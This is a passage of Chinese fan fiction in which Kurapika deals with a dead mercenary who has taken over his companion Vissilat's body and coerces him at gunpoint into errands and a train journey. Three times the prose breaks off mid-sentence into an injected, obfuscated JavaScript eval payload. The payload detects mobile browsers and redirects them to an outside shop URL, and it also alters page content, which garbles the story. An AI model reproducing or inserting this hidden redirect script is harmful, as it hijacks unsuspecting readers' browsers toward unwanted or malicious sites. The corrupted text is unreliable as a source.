亚里砂在她出声的那一刻就不再往前走了,认真地看着她,听她说着自己的想法。好奇怪,亚里砂的眼泪又要冒出来了。 “我已经不再找新工作了。我会继续呆在这里。因为……”亚里砂噗嗤一下笑出来,眼泪比笑容先一步涌出来,“你做事好鲁莽。酷拉先生不会说你,因为他特别在乎你,但我得监督你才行了。下次不能再这样了,你要答应我。” 维瑟拉特也有点想哭,尽管她的眼泪没有冒出来。她用力地点点头,“我明白了。你就好好地盯着我吧。” “当然了!现在我要监督你去睡觉了。”亚里砂推着她下楼,“好好睡觉,我们明天见……不对,已经是新的一天了。我们早上见吧!” 维瑟拉特笑起来,“早上见。” 夜幕还会继续遮蔽天空几个小时,随后才缓缓掀开。城市在沉睡,诺斯拉家的差不多每个人也是如此,即便是下定决心要熬一整夜把手头的一半工作处理好的酷拉皮卡,居然也没能撑住瞌睡虫的攻击,就这么在椅子上睡着了,直到破晓时分才猛然惊醒。 睁开双眼,熟悉的身影突兀地闯入视线,稍稍吓到了他,还好在看清那人影是谁之后,慌乱的心跳就足够冷静下来了。 “早上好,小维。”酷拉皮卡对她笑,“你昨晚没睡吗?” 维瑟拉特就站在门框下,扬起嘴角看着他,眼下泛着失眠般的乌青。她没有应答,只是笑着,只是注视着,前所未有的沉默,无言的氛围持续了几秒。 几秒之后,她做出了的动作——她拿出了一直放在口袋里的手,指间捏着一把枪。 就算是在拿起这把枪的时候,她依然笑眯眯地看着他。 “放轻松,孩子。” 她说。 举起的手猛得调转方向,她把枪口抵在了自己的太阳穴上。 “我知道你不希望这个身体的主人受伤,所以,我们来谈谈条件吧。” 68.夺舍者x待办事项x谎言 维瑟拉特站在他的眼前,但那个人一定不是维瑟拉特。为什么? 身躯被夺走了?这种事可能吗?昨晚酷拉皮卡见到的那个人根本不是她吗? 打一开始维瑟拉特就没有活过来,她死在了那场爆炸之中? 昨天……昨天的话语,只是伪装的谎言吗? 当枪口由“维瑟拉特”操控着抵在了维瑟拉特的太阳穴上,酷拉皮卡在这个瞬间冒出了无穷无尽的想法,没有哪种会是令人高兴的念头。他强行掐断了思维,不情愿再想下去了。 总之,可以确信的是,在确认眼前的人形并非维瑟瑟拉特之后,这副躯体做出的一切都让人觉得厌恶,原本还觉得很和善的笑脸彻底扭曲成了邪笑,眼下的乌青像是赌鬼才会有的证明,而不是缺失睡眠留下的痕迹。更别提她说起话来的腔调了,居然还称呼他为“孩子”,那她该是什么,老头吗? 酷拉皮卡好愤懑,一定比真正被夺走了身体掌控权的维瑟拉特还要更加不平。 “别用这种凶巴巴的眼神看我,我也没那么乐意用这样的方式抱有意识。”她终于收起了那副很虚伪、很不维瑟拉特的笑脸,拧起的面孔倒也看不到太多的憎恨,只有纯粹的不满而已,“害我死都死得不像样。早知道就不该接下齐泽·兰格雷的委托,也别把‘杀死不死者’当做是有挑战性的任务。” 看来是那天参与了袭击的家伙。酷拉皮卡立刻就想起来了,那时候在进攻的人群中看到了一堆穿着防弹衣、行动驾驶与普通的□□成员截然不同的家伙,看来就是他们了吧。身份的话……雇佣兵? 眼前这个套着维瑟拉特的外壳的家伙,看起来不像是会对自己的事情闭口不言的家伙——死掉的家伙也没必要保守秘密了。 酷拉皮卡知道自己需要问到更多情报,他毫不犹豫地用无名指对准她,垂下的锁链轻轻摇晃。 只要她开始说谎,他就会知道。尽管她现在笑个不停。 “这就要动手了吗?你觉得我会被你吓到吗?” “子弹和锁链,哪一方的速度更快,你可以试试。”酷拉皮卡不打算矫正她对他此刻行为的错误认知,接着问,“你是什么时候占据了她的身体?” 酷拉皮卡绝不是刻意要让语气显得这么生硬干涩的,可不知为何,他发出来的声音听起来莫名的很像是诘问。 披着维瑟拉特的外壳的家伙立刻露出做作的受伤表情,偏过脑袋,好像真有这么受伤。是维瑟拉特绝对不会露出的表情。 “真凶。”她皱着鼻子,“大清早醒来就要被长着漂亮脸蛋的小白脸叨叨,真痛苦。” “难道不是因为你昨晚没睡够吗?” “我睡够了,从这家伙一下子把我捏死之后,还拿走了我的念力之后,我就陷入了永久的长眠。真高兴我的气污染了她的气,否则怎么会有机会看到今天的太阳。” 气的污染吗?这似乎是个崭新的观念。但考虑到维瑟拉特的能力确实和气紧密关联,发生这种事情……尽管不愿看到,却也真的不算意外。况且,锁链一动不动,谎言暂时还未出现。 酷拉皮卡想要轻笑一声,发出的声响却像是轻哼。“你真该向昨晚的流星许愿,”他说,“这样就不必用这种要挟的方式与我进行条件的交换了。” “一觉醒来就是大白天了,我可没机会看到流星,况且我也不相信这种玄乎的东西。”她轻轻地用枪口敲击太阳穴,丝毫不担心这微小的震动是否会引发走火——仔细看看,抢的保险尚未打开呢,她当然意识到了这一点,有意无意地遮挡住了扣紧的保险栓,“我在部队里被授予的价值观是,事在人为。” 酷拉皮卡没有再说什么了。 到此为止没有谎言,至少能安心一点了,昨晚出现在眼前的维瑟拉特就是维瑟拉特没有错,虽然还不确定眼前这个占据了她躯壳的家伙的真实身份,但只要维瑟拉特切实地存在过,她一定就能有回来的机会。 不想冒险,事态能以平和的方式解决当然最好。酷拉皮卡配合地举起双手,做出很顺从的模样。 “你想要我怎么帮你?只要是我力所能及的范围,我会帮你的。但你也要答应我,在完成了一切之后就从她的身体里离开。” 她看起来也没有那么在意他的承诺,看起来既不感到欣慰,也没露出半点笑容,只催他把手举得更高一点,从头到脚把他摸了个遍,要命的武器一件都没有摸到,但手指上缠绕着的冷冰冰的锁链让她很在意。刚才她就很烦酷拉皮卡垂下锁链的动作了。 “卸下来。”她说话的语调像命令,询问也是,“袭击中遇难者的尸体在那里?” 酷拉皮卡用掌心盖住手背,做出配合地卸下锁链的动作。她并不知道自己的锁链是念力具象化的产物,但维瑟拉特知道这事。看来记忆并不共通。这绝对是最值得松一口气的。 “尸体在警局的停尸间。”酷拉皮卡回答了她的问题,“警方的调查结果是兰格雷的余党和雇佣兵集团发生冲突,战斗途中波及到了诺斯拉家,就是这样。” 她故意咋舌得好响,“把罪责推给死人,你们操纵了调查结果吧?想把流血冲突用影响最小的借口掩饰过去?” “没有。这纯粹是警方给出的定论。” “行吧,无所谓了,反正人都死了。尸体怎么处理?” “我不清楚,似乎还在确认身份,后续会联系亲人来领取吧。没有亲人的可能会直接葬在市立公墓。” 酷拉皮卡能知道这事,完全是当时负责办案的话痨警察喋喋不休地和他说了很久关于后续程序的事情。当时他听得不算太认真,好在多多少少捕捉到了这部分。 她还是那副挺不爽的面孔——说到底,从她出现在眼前,就是一副带着强烈不满与怨念的模样,哪怕她总是说着无所谓之类的话。 譬如现在,她丢出一句“行吧”,把枪收起来了。 “我们去警局。你要先帮我确定我的尸体有没有被确定身份。” “只要做这个就好了吗?” “你在做梦?”她把手掌呼到酷拉皮卡头上,虽然被他躲开了,“要做的事情还有很多,这只是第一步。走吧。” 感觉被狠狠地摆布了。 不满多少是有的,酷拉皮卡努力压下糟糕的情绪,只想着事情解决之后的会怎样——尽管他平常很少想这种事,以至于一开始思考比当下更好的未来,竟感到无所适从的虚脱感。 “我该怎么称呼你?”即将踏进警局大门时,酷拉皮卡问她,“我不想用她的名字称呼你。那不是属于你的名字。” 她从鼻子里喷出轻蔑的冷笑,“斤斤计较。” 话虽如此,用以称呼的代号还是很重要的。 “普林增,这么叫我就行。”她忽然勾住酷拉皮卡的手臂,好亲昵地贴在他身旁,“好,我们走吧。” 酷拉皮卡一动不动。“……请你松手。” “你以为我喜欢和男人搂搂抱抱?”普林增冷笑了两声,“必要的掩饰而已。” “……” 亲密的贴贴,如果并非发生在此刻就好了——尤其是酷拉皮卡能感觉到她还在用枪抵着自己的侧腰。果然,这番搂着手臂的动作只是为了把枪的存在藏起来而已。顺便好像还把自己当成了拐杖,酷拉皮卡一路上都能感觉到普林增把体重压在自己身上,步调也乱糟糟,也不知道是打算怎样影响自己。 走过警局的大厅,那位话痨的警官一下子就认出了酷拉皮卡,乐呵呵地迎上来。他们之间的关系肯定已经因为他单方面的话语输出而变得相当不错了。 “酷拉先生,您来追踪案件的后续吗?” “……是的。” 酷拉皮卡努力不让自己的语调听着太过虚浮,但他在说这话的时候,确实没有太多信心。他确实照着普林增说的做了,也知道当下需要达成的目的是什么,可具体的实现路径,他还在琢磨呢。 实际上也用不着 怎么琢磨,普林增已经出手了。 “我想来认尸。”她露出笑眯眯的、很不维瑟拉特的表情,“我以前在部队服役过,期间辗转了好几个部队。听说那群雇佣兵是退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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总共看了十九具身体,普林增称自己认不出任何一个人,明明他的视线从见到棱镜纹身之后就长久地停在那一格柜门的编号上。 “7-3428-19,把这个标号的尸体偷出来。” 走出警局,普林增又开始发号施令了。 “然后烧成骨灰。顺便,兰格雷的尾款没有打给我,总计两亿戒尼,你要准备好这笔钱。” 酷拉皮卡记下要做的事,他能感觉到自己现在还是带着一点不情不愿的抵触,但这不影响他说:“市内的所有火葬场都需要死亡证明才能火化,请提供我你的信息,否则我没办法从零解决。” “这是你要考虑的事情。” 普林增停住脚步,身躯似乎是在不愉快的加持之下才会不稳定地轻轻晃悠着,但这并不影响他以冷冰冰的目光瞪着酷拉皮卡。 “完成我的指令,或者我把她的脑袋打碎,你自己选。当然,我无所谓遗体怎么从肉块变成骨灰,把尸体丢进你们家的锅炉房烤成灰也没问题。就像我说的,我不介意。” 咄咄逼人。 酷拉皮卡依然不知道他的目的。 但还是想办法实现了他的要求。 在普林增回到诺斯拉宅邸、被酷拉皮卡暗地里委托的同僚监视行动的期间,耳后有棱镜纹身的无名尸体离开了警局冷冰冰的小方块,随即被投入焚化炉,就此化成了灰。酷拉皮卡只想赶紧知道接下来要做的事,为此他会毫无顾忌地在凌晨时分把普林增喊醒。 “你要的东西全部搞定了。接下来要做什么?” 酷拉皮卡的语气生硬。考虑到他面对的是一个藏在熟悉皮囊下的陌生人,这种的说话方式已经非常温和了。 普林增可能是睡懵了,表情显得有点迟钝,在应声之前,先是伸手去拿床头柜的香烟,但又像是想到了什么似的,放下了香烟盒,小声问:“你说什么?” 真是睡得太迷糊了吧。酷拉皮卡不介意再重复一次,“我说的是尸体的事情。” “酷拉,我不太明白你的意思。我忘记什么事情了吗?” 酷拉皮卡觉得睡懵的那个人很可能是自己,尽管今晚他还不曾睡过。但是…… “小维?” “嗯。有事吗?” 维瑟拉特不解地看着他。 69.不公平x脱力x短暂旅途 相同的面容,是因为驱动着做出行动的对象发生了变化,所以才觉得眼前人有所不同吗?还是因为酷拉皮卡对维瑟拉特还有普林增的印象截然不同,所以才忽然觉得眼前人也变得完全不一样了吗? 他伸出手,轻轻触碰她的脸颊。维瑟拉特看起来并不对他的动作意外,任由他触碰自己,当然也不会提出“为什么”之类的问题,仔细想想,这已经成为他很常做的动作了。 到此为止,酷拉皮卡可以确定,她就是维瑟拉特没有错。 好想拥抱她,但好担心这样显得大题小做,尽管他觉得重新掌控身体主导权一定比死而复生更重大。 维瑟拉特依旧困惑——她完全缺课了。只是她没有追问,一如既往耐心地等待着酷拉皮卡主动说点什么,好一会才听到他问自己是否还好。 “你是指身体方面的‘还好’吗?”维瑟拉特觉得有必要框定问题的范围,否则她也不知道该从哪个角度回答才好了,“如果是身体的话……状态一般。” 她花费几秒钟的时间好好地感受了一下。 “我觉得很疲惫,大脑也不太清醒。” 酷拉皮卡笑起来——可不是幸灾乐祸的心情在作祟,只是一想到现在和他说话的人是如假包换的维瑟拉特,他就忍不住会笑起来。也会赶紧坐在她身边,想也不想地伸出手,帮她把额前乱糟糟的碎发拨到脑后。 “是因为我把你叫醒了吗?如果是这样的话,我会向你道歉的。” 这么说着的酷拉皮卡的脸上可见不到太多歉意,好在维瑟拉特也不介意。她轻轻摇头,“没有,我不觉得是你的原因……可能是身体出了什么问题。” 她伸出手,五指试着拢成拳头,可即便是努力到了连整条手臂都在颤抖的程度,她的手掌还是没办法捏合起来。她的力气似乎差不多全部丧失了。 “我知道我早上一定醒来过,可我不知道我做了什么事情。能开始清楚记住事情,已经是晚上了。”她眨了眨眼,这回不知道是在感知什么,但她对酷拉皮卡说,“我希望我没有做奇怪的的事。” 酷拉皮卡一时语塞。 如果维瑟拉特说出的是“我想知道白天发生了什么”,他应该会告诉她——并且需要一点时间将话语组织一下。可她说得却是希望自己没有做奇怪事,害得酷拉皮卡一下子不知道该怎么开口了,还好维瑟拉特还没有眼力好到能够看穿他迟疑的表情。他重新得到了思考的时间,心想着,无论如何还是要把事实说给他听才行。 酷拉皮卡采用了一种很委婉的方式进行描述,跳过了普林增拿枪指着她的脑袋作为威胁的部分,普林增抱着他的手臂假装是他太太的这部分肯定也要略过不表,重点肯定要集中在“普林增的气污染了维瑟拉特的气所以才一度导致他得到了身体的控制权”和他们今天去警局做的事情。 就算是这些部分,听起来也足够惊人了。维瑟拉特倒是平静,没有提出多少意味,也见不到她的太多反应。她就是听着,在酷拉皮卡说完之后应了一声“好”。 “我没预测到会发生这种情况。在此之前我没有连接过尸体,也很少连接过任何人的气。”毕竟之前她也没遇到过这么大的危机,“但会变成这样也很正常。我差不多是完全依赖气的存在行动的,肉.体与气是紧密连接。现在气已经变得不纯粹了,对身体的控制力下降是合理的情况。” 维瑟拉特平静地分析着自己的现状,却怎么听都让人不安。酷拉皮卡好想说点什么,可他知道自己一开口就会是扫兴的担忧话语。他也不想让维瑟拉特太担心。 “你觉得你的意识能够维持多久?”他只这么问了。 想也知道,事情绝不可能会顺利到她能够一劳永逸地保持清醒的神智。维瑟拉特也怀有同样的想法。 “不知道。我无法预估。”她在此处停顿了几秒,“我会努力的。” “不努力也没事。到此为止的他的需求都还能满足,接下去肯定也不会有问题的。你还觉得困的话,就接着睡一会吧。” 维瑟拉特不确定自己是该点头还是摇头。她确实挺困的,可她一点也不想睡。 “把我清醒的时间浪费在睡觉上,太可惜了。”说着这话的她带着一副愤愤不平的表情。 “睡觉不是浪费时间吧。”酷拉皮卡笑起来,“能用这些时间做梦,不也挺好的吗?” “梦境也不是每个晚上都有机会途径的。我不想睡觉。” 她说着,这就从床上起来了,裹上外套。 醒都醒了,接下来该干点什么呢?完全没概念。对于没有爱好的人来说,要怎么度过时间实在是值得好好思考的问题。维瑟拉特懒得去想,干脆开始清理武器,却把沾了灰尘的枪摆在一边,没有去动。 “拆不开枪。”她把手举到酷拉皮卡面前,五指还在微微发颤,“手没有力气。” 酷拉皮卡有点担心她。“你真的还好吗?” 他知道维瑟拉特多会逞强。 “没问题,但你可以监督着我,以免那个抢走了我身体的家伙突然冒出来,抄起刀砍在你的头上。我不希望你受伤。” “嗯。如果这种是真的发生了,我会躲开的。” 于是静静地坐在这个夜晚,最先睡着的是酷拉皮卡。 感觉像被维瑟拉特诅咒了,他没有做梦,直到被阳光叫醒的时候,都只自己只是短暂地闭了闭眼而已。他赶紧坐起来。 清理好的武器都已经收起来了,现在房间里绝对没有任何能够致死的恐怖东西——当然了,如果要把抡起来砸到脑袋上绝对会让人一命呜呼的办公桌算上的话,那致命物品可能依旧存在着。 维瑟拉特站在日历前,双腿岔开,把手背在身后,过分端正的姿态。 看来这是普林增。 既然这样,就没必要说早上好了。 酷拉皮卡发现自己的心情比预想得还要郁闷,只能尽量想办法藏住无奈的语气,平淡地说;“那具尸体已经变成骨灰了。接下来怎样?” 无奈是藏住了,不耐烦的心情可能没有,也难怪普林增一下子转过身来,不满地睨着他。 “乖乖做事。再用这种语气和我说话,我就一枪崩掉她的脑袋。明白了吗?”懒得听酷拉皮卡的回答,他已经接着说下去了,“钱准备好了吗?” “是。” “全部换成黄金,然后我们出发。就我们俩,你别想带上其他人。” 他总是把话说得模糊。酷拉皮卡知道自己没必要追问,可他讨厌一无所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220146|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知的感觉。 “去哪里?” 普林增难得的没有在这时候表现出不爽,从口袋里捻出香烟,“不止一个地方。快点行动,不要浪费我的时间。” 他说着,打了个哈欠,准备点烟,手指却一直打滑,好几次都没能成功按出火苗。酷拉皮卡从他手里抽走了打火机,替他点燃了香烟。当然,没有收到任何感谢,好在酷拉皮卡无所谓。 普林增和维瑟拉特一样,对这具身体感到乏力。难怪昨天在要挟的时候,枪的保险都没有打开。 无法按亮打火机的手很可能也无法扣下扳机,伤害自我也不会太容易。酷拉皮卡想,至少他可以少担心一些事情了。 当然,普林增的要求,他还会继续满足。到此为止都不是太过分的事情——就算是要了一大笔钱、迫使他偷走尸体,也都不算太过分。 “该告诉我要去的地方了。” 酷拉皮卡把装满黄金的旅行袋丢到他的面前,好几十斤的金属咚一下撞在地上,真让人担心这个家需要维修的部分是不是又要增加了。 普林增没给出回答,差使他给黄金称重,又命令他把每一根金条都拿出来给他检验,每根黄金上都因此多出了他的齿痕。就这么确认了每一根金条都是百分百的纯金之后,才说了一个地点。 “毕夏街的廉租公寓。” 到了公寓,却没有进入公寓。他撬开一楼大堂某个信箱的锁,摸出了里面的信封。随即去了两条街外的银行,用信封里的钥匙打开了储物柜。最后要求酷拉皮卡带上骨灰,订购今晚的火车票,出发前往崎土国首都。 “不坐飞行艇吗?这比火车更快。”其实酷拉皮卡比普林增更想节约时间。 普林增瞪他,“别问东问西。赶紧的,进去。” 他就差没有一脚把酷拉皮卡踹进火车站了。真该庆幸他现在没什么力气,否则暴戾的本性一定会展现得更加彻底。 就这么上了车,要行过一整夜,才能抵达目的地。侥幸买到了最后一间双人车厢的票,可要是一路都得听着普林增打哈欠,也实在挺煎熬的。酷拉皮卡努力把注意力全都放在书本上,安慰自己,就当这是从诺斯拉家繁杂的公务中抽身喘息的假期吧。 不过…… 他微微抬起眼眸,让视线越过发梢,悄无声息地看着普林增。 这家伙又开始打哈欠了。当他把困意从脑海里吐出来的时候,怎么看都很像是一只在咆哮的野兽,只是野兽的眼里通常不会藏着困意,感觉他的眼皮马上就要黏在一起了。但昨天他没有表现出这样的困倦。 是因为作为维瑟拉特没有睡觉吗?可能吧。身体的状态对他们来说是相通的。 收回目光,继续看书,印在纸面上的内容一个字都没能钻进脑袋里。酷拉皮卡抬起眼眸,又向对面瞥了一眼,现在普林增睡着了。也好,总算可以松一口气了。 车窗外,太阳即将落下。 酷拉皮卡拉上窗帘,把顶灯打开。好像驶过了什么崎岖的路段,列车晃个不停。普林曾被晃醒了。 醒了,但坐着等待神智清醒,几秒后才挑起窗帘,看到的只是难以辨认的黑夜。 “我们要去哪里?” “去崎土国的首都哦,小维。” 70.土豆沙拉x薄荷烟x车票 维瑟拉特靠在椅背上,把香烟盒拿在手里玩,纸盒子咔哒咔哒敲在桌面上,却没有捻出一根香烟来抽,以一种很像是在笑、实际上嘴角却没有任何弧度的奇妙表情看着酷拉皮卡。 “不担心认错人吗?”她说,“说不定我是普林增。” 明明这也不是什么很好笑的事情,酷拉皮卡却忍不住笑出声来了。“我知道你不是他。”他可以很确信地说。 能摆出这种等级的信心,真的很难让人不好奇他的确信究竟源自何处。 “普林增知道目的地是哪里。他不会问‘我们要去什么地方’。”他说。 “第一句话就露出破绽了吗?” 这么说着的维瑟拉特既不沮丧也不失望,她很知道自己不擅长骗人,露出马脚也是很正常的情况。 不过,人总是从失败中汲取教训的。对于眼前的失败,她能感觉自己已经明白了一些什么,了然般点点头,“下一次我不会这么说了。” 意思是下一次绝对不会再被他一眼看穿了。 酷拉皮卡喜欢她越挫越勇的车续航,可惜还是得小小地打击她一下,“就算没有提问,也能感觉到你们之间的不一样。比如眼神,你们之间的眼神截然不同。”顿了顿,顺便补上一句,“而且,还是没有‘下一次’更好吧?” 尽管烦人的差事都已经进行到这一步了,但如果维瑟拉特能够就此百分百地夺回身体的主导权,一定是最好的结果。他完全不在意已经付出的时间和精力,更情愿就此半道回府。说不定他最初想要规划、却怎么也无法具象化地设想的未来,就是像这样吧。 维瑟拉特没有给出回应,当然也没有说出“我觉得不会这么顺利”之类的扫兴话。困倦感绝对已经百分百攫住她了,她接连打了三个哈欠,困意从脑袋里挤出来又钻回去,怎么都不会消失无踪,真让人纳闷。 “我早上没有睡觉,是吗?”她问酷拉皮卡。 “日落之前短暂地睡了一小会。大概几十分钟吧。”他觉得可以得出结论了,“看来你会在夜晚重新压制住他的意识,但其他时间是他在掌管。” “像狐狸一样。”维瑟拉特小声嘀咕。 酷拉皮卡没有明白,“你说什么?” “我说我现在像狐狸。” 她一边重复着,一边在口袋里摸索,找出橡皮筋费劲地把头发绑起来。,可完全没力气扯开橡皮筋,只能让酷拉皮卡帮忙。 小心翼翼——很担心会弄痛她,所以酷拉皮卡才小心得不行——且顺利地束起她的长发,他终于能够松一口气了。维瑟拉特仰起脸看他,没有在笑,但应该还挺高兴,小声对他说谢谢。 “狐狸是夜晚捕猎的动物,很偶尔才会在白天出没。所以我现在很像狐狸。不过我的外号本来也是狐狸。”她很配合地在说到这个挺有意思的笑点时做出了微笑的动作,“我肚子饿了。我想吃东西。” 酷拉皮卡找出上车前买的土豆沙拉,心想,在下午普林增狼吞虎咽地消灭掉最后一块火腿肉的时候,自己真应该阻止他。都是这家伙的狼吞虎咽,害得此刻维瑟拉特的晚餐只有寡淡的碳水化合物。 “你吃完之后绝对会更困的。” 酷拉皮卡找出一次性勺子,帮忙把土豆沙拉捣散之后才递给她——放置了几小时的土豆色拉的浓度差不多可以和水泥一较高下了。 “千万别一头栽进土豆里睡着了。” “不会的。” 她把一大块土豆色拉塞进嘴里,虽然也是狼吞虎咽没有错,看起来却怎么都比普林增好多了。并且他会冒出这种想法绝不是因为有什么奇怪的滤镜存在——绝对不是。 “我今晚不打算睡觉。”她口齿不清地接着说,一下子把酷拉皮卡从莫名其妙的念头里拔出来了。 “为什么?”他不理解,“缺少睡眠会让你更累的。” “但留给我的清醒时间只有这么点,用来睡觉太可惜了。另外,我也希望在他清醒的时间里尽可能地用困意限制住他的行动。” 酷拉皮卡理解她的想法,但如果一定要在“赞同”和“反对”之间做出决断,他可能会反对吧。不管怎么说,不睡觉未免太折磨人了。 他的反对票没用。维瑟拉特真的熬了一整夜,无聊到只能抄录他带来的诗集,好在写到第三十五页的时候终于盼到了日出,整个人瞬间栽倒在了桌子上,脑袋与桌面碰撞出很响亮的“咚”一声,比闹钟更加有效地叫醒了酷拉皮卡。 维瑟拉特睡着了——准确地说,处在熟睡状态之中的应该是普林增才对。狐狸早已躲进巢穴。 酷拉皮卡的睡意暂且消失无踪。 无论如何,他都需要时刻留意着普林增的一举一动。掌控着熟悉身体的未知家伙,这个概念放在任何时候都太恐怖了,他一定要谨慎对待才行。如果可以的话,他希望普林增可以一直睡着,只在夜晚睁眼。到时候,眼前的人就只会是维瑟拉特而已了。 很可惜,这个“如果”没办法实现。列车总归会到站,酷拉皮卡也得不那么情愿地把普林增叫醒,为此还被他相当不满地瞪了一眼,感觉下一秒就会有痛骂声落在头顶上了。但普林增只是打了个哈欠,顺便翻了白眼,衣服都没整理一下,就这么皱巴巴地走出去了。 一想到他的邋遢做派是在败坏维瑟拉特在路人眼里的形象,酷拉皮卡不情不愿地追着他的步伐帮忙理好了折进去的衣领,拖在后头像尾巴一样恼人的腰带也塞进口袋里,现在总算看起来得体了。 普林增肯定不会为了这种事道谢。他反而嫌弃酷拉皮卡跑来跑去好烦,比苍蝇还恼人,为此还瞪了他好几回。 不过,让酷拉皮卡帮忙点烟的时候,倒是不计较他的烦人了。谁叫普林增现在连使用打火机的力气都没有。 “好臭的香烟。”他还会抱怨维瑟拉特的香烟,眯着眼看烟盒上的品牌和风味,“薄荷味的?啧……娘们唧唧的味道。” 说完,随手把香烟往路边一探。素质欠缺。 酷拉皮卡不打算说出什么吐槽或者抱怨。对普林增这种人,搭腔反倒会正中他的下怀吧。酷拉皮卡只想专注在眼下的事情上。 “接下去做什么?” “替我把金条带到港口那边的银行,然后在门口等我。”他把藏在肺里的一口香烟喷到酷拉皮卡的脸上,好没礼貌,“放心,马上就结束了。这是……倒数第二站。” 酷拉皮卡没有露出窃喜的表情,心想这最后的关头才是最重要的。“今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223262|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天能全部解决掉吗?”他追问。 “不能。”普林增的面色一下子变得相当阴沉,“我说过了,马上就会结束。如果你表现得这么着急,我就……” “我不着急。”酷拉皮卡抬起眼眸,直直地盯着普林增,“我觉得,着急的那个人是你。” 普林增没有回答,摆出一副懒得搭理小屁孩的样子,加快脚步往前走,时不时回头催酷拉皮卡快点,明明酷拉皮卡也并没有落下脚步。 正如普林增所说,酷拉皮卡在这里要做的事情就只是搬运而已。金条从他的手中来到普林增之后发生的事情,酷拉皮卡一概不知,能清楚知道的只有普林增在里面至少停留了好几个小时,走出银行时,天都快黑了。 金条消失无踪。酷拉皮卡不会询问钱财的去向,这种事不是眼下最紧要的。 “去买车票。”他继续下达指令,“买明天上午五点发车的那班。” 他随后说了一个地名,酷拉皮卡知道那是崎土国最边缘的城市,十足的边陲小城,名字长到就算看了好几眼也还是没办法精准复述的地方。普林增倒是能说出来,估计是对那个小城很熟悉吧。 买火车票,这可能是普林增给出的所有命令里最容易达成的一个了。酷拉皮卡没意见,买大巴票也不算是危险行动,也难怪普林增自己都懒得去办,懒洋洋地坐在中央车站外头的长椅上啃着牛肉卷饼等他,还催他快去快回。酷拉皮卡更希望他能够跟着自己,如此一来也方便监视他的行动,他当然很不满意。 “我不是囚犯,做人总得有点独处的时间。你喜欢和这张脸待在一起是你自己的事,我可不想每分每秒都和臭小孩呼吸同一片空气。” 他拧着脸,相当不情愿,但在酷拉皮卡强硬的态度下,还是给出了承诺。 “我哪儿都不会去的,你就放心吧。” 酷拉皮卡直言:“你并不是让人放心的人。” “那就考验我一下吧。” 反正他是铁了心要在这里歇脚了。酷拉皮卡无话可说,觉得自己没可能改变普林增的想法了,还是加快速度解决掉车票的问题吧。 付钱时,手机震了震。是从维瑟拉特的手机发来的消息,问他现在人在哪里。 中央车站的灯点得好亮,这会儿他才注意到落地窗外的黑夜。看来是维瑟拉特发来的询问。 酷拉皮卡编辑好了回复,发送过去,赶紧把车票拿走,快步走出车站。长椅上并无红发的身影,维瑟拉特不知道跑到什么地方去了。他莫名有点不安。 倒不是想要干涉维瑟拉特的行动,但如果是普林增带着她的身体走远了,那一定很麻烦。果然不该相信那家伙。 姑且应该需要向普林增道个歉,他确实一直坐在长椅上没有动弹过,到处乱走是维瑟拉特做出的决定,还忘了问酷拉皮卡今晚下榻的旅馆的位置,好晚的时候还给他打了电话询问地址。 不管怎样,她安然无恙地回来了……嗯,好像也不是百分百的“安然无恙”。 酷拉皮卡眯起眼,努力不让自己的目光看起来像是审视,但这幅神态确实是有点过分认真了。 “你剪头发了吗,小维?” 是的,她的长发并未安然无恙。 71.短发x小路x死亡的怨恨 ——你剪头发了吗? 酷拉皮卡的提问稍显多余。忽然变短的头发是无需询问就能得出的结果,也难怪他说完之后,自己先笑了起来。 维瑟拉特关上房间的门,指尖轻轻拨弄着发梢,现在它们只能够到她的肩膀了。在今晚之前,她的头发可是长到足够碰到后心的。 “不好吗?”她低着头说,看起来不像是很有信心的姿态。 “挺好的呀,看起来很利落。”酷拉皮卡细致地打量她,尽力给出中肯且不带吹捧意味的评价,“眼睛也可以全部露出来了。” 在他说完后半句话之后,维瑟拉特的眼睛简直是一下子亮起来了,不再不确信般耷拉着,看起来比任何时刻都漾着神采。她很认真地点着头,把深红色的短发甩得差点要炸开。 “我就是觉得该把眼睛露出来,所以才想要剪短头发的。”她的语调也认真,像在描述一件相当了不得的事情,“正好现在的时间是完全属于我的,我觉得是时候让想法落地了。” “真好。很适合你哦。” 维瑟拉特抿着唇,微不可查地笑了一下,“谢谢。” 酷拉皮卡问她是不是还去了别的地方溜达,所以回来得晚了。这倒是没有,她只是到处在找不需要预约的理发店,再加上遇到了一个过分认真的认为从未剪短过的脑袋需要用心对待的理发师,这才耽误到了这个时间回来的。 “不过,”她把手伸进口袋里,摸出一张叠得比指甲盖还要小一点的纸头,“刚才摸到了这东西,纸张的质量很好,不是随手放进口袋的垃圾,我想应该是重要的东西,暂时还没打开。” 她想着要和酷拉皮卡一起看,直到此刻才真正解密。 打开叠得这么小的小方块,原来这是两张银行的业务回执。一份是转账凭证,另一份是信托基金的建立凭证。每项业务都流转了一大笔钱,加在一起,比那袋金条的价值还要更高一点。 酷拉皮卡一直在看转账的凭证,纸上写了收款方的名称。 